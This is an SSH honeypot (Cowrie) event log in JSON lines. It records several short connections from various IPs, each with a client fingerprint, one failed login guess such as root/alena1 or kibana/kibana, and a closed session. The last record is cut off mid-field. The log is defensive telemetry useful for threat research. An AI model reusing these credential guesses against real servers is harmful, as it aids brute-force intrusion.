{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":40912,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aa3d5fd10b3","protocol":"ssh","message":"New connection: 125.21.53.232:40912 (159.203.135.109:22) [session: 0aa3d5fd10b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:07.344867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:07.355718Z","src_ip":"125.21.53.232","session":"0aa3d5fd10b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:07.555131Z","src_ip":"125.21.53.232","session":"0aa3d5fd10b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:08.378984Z","src_ip":"125.21.53.232","session":"0aa3d5fd10b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:09.579262Z","src_ip":"125.21.53.232","session":"0aa3d5fd10b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"558e6db0fd3a","protocol":"ssh","message":"New connection: 147.45.199.80:46006 (159.203.135.109:22) [session: 558e6db0fd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:12.966276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:12.971627Z","src_ip":"147.45.199.80","session":"558e6db0fd3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:13.067602Z","src_ip":"147.45.199.80","session":"558e6db0fd3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alena1","message":"login attempt [root/alena1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:13.357834Z","src_ip":"147.45.199.80","session":"558e6db0fd3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:14.459893Z","src_ip":"147.45.199.80","session":"558e6db0fd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":55950,"dst_ip":"159.203.135.109","dst_port":22,"session":"e59053e053be","protocol":"ssh","message":"New connection: 103.148.100.146:55950 (159.203.135.109:22) [session: e59053e053be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:19.762178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:19.767046Z","src_ip":"103.148.100.146","session":"e59053e053be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:20.041861Z","src_ip":"103.148.100.146","session":"e59053e053be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kibana","password":"kibana","message":"login attempt [kibana/kibana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:21.168258Z","src_ip":"103.148.100.146","session":"e59053e053be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:22.444519Z","src_ip":"103.148.100.146","session":"e59053e053be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":32950,"dst_ip":"159.203.135.109","dst_port":22,"session":"3715cc09315f","protocol":"ssh","message":"New connection: 69.6.221.248:32950 (159.203.135.109:22) [session: 3715cc09315f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:48.328032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:48.332399Z","src_ip":"69.6.221.248","session":"3715cc09315f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:48.445893Z","src_ip":"69.6.221.248","session":"3715cc09315f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"miguel","password":"123456","message":"login attempt [miguel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:48.933029Z","src_ip":"69.6.221.248","session":"3715cc09315f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:50.049286Z","src_ip":"69.6.221.248","session":"3715cc09315f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":36336,"dst_ip":"159.203.135.109","dst_port":22,"session":"07195b7550e3","protocol":"ssh","message":"New connection: 125.21.53.232:36336 (159.203.135.109:22) [session: 07195b7550e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:56.374062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:56.379131Z","src_ip":"125.21.53.232","session":"07195b7550e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:56.582028Z","src_ip":"125.21.53.232","session":"07195b7550e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf@123123","message":"login attempt [root/asdf@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:57.414938Z","src_ip":"125.21.53.232","session":"07195b7550e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:09:58.617853Z","src_ip":"125.21.53.232","session":"07195b7550e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":25737,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d41eeb6b116","protocol":"ssh","message":"New connection: 223.197.186.7:25737 (159.203.135.109:22) [session: 7d41eeb6b116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:00.088552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:00.095669Z","src_ip":"223.197.186.7","session":"7d41eeb6b116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:00.324378Z","src_ip":"223.197.186.7","session":"7d41eeb6b116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456@","message":"login attempt [root/qwe123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:01.251954Z","src_ip":"223.197.186.7","session":"7d41eeb6b116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:02.471210Z","src_ip":"223.197.186.7","session":"7d41eeb6b116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52276,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c7adf4f85b9","protocol":"ssh","message":"New connection: 89.108.118.91:52276 (159.203.135.109:22) [session: 1c7adf4f85b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:08.657754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:08.663911Z","src_ip":"89.108.118.91","session":"1c7adf4f85b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:08.803530Z","src_ip":"89.108.118.91","session":"1c7adf4f85b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"willie","message":"login attempt [root/willie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:09.231826Z","src_ip":"89.108.118.91","session":"1c7adf4f85b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:10.373548Z","src_ip":"89.108.118.91","session":"1c7adf4f85b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":57152,"dst_ip":"159.203.135.109","dst_port":22,"session":"33cb6609f385","protocol":"ssh","message":"New connection: 167.172.174.185:57152 (159.203.135.109:22) [session: 33cb6609f385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:16.813194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:16.819060Z","src_ip":"167.172.174.185","session":"33cb6609f385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:16.906884Z","src_ip":"167.172.174.185","session":"33cb6609f385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lenovo@123","message":"login attempt [root/Lenovo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:17.304869Z","src_ip":"167.172.174.185","session":"33cb6609f385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:18.404776Z","src_ip":"167.172.174.185","session":"33cb6609f385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":33336,"dst_ip":"10.17.0.5","dst_port":22,"session":"3943cab77aeb","protocol":"ssh","message":"New connection: 103.172.78.219:33336 (10.17.0.5:22) [session: 3943cab77aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:24.786352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:10:24.791539Z","src_ip":"103.172.78.219","session":"3943cab77aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openss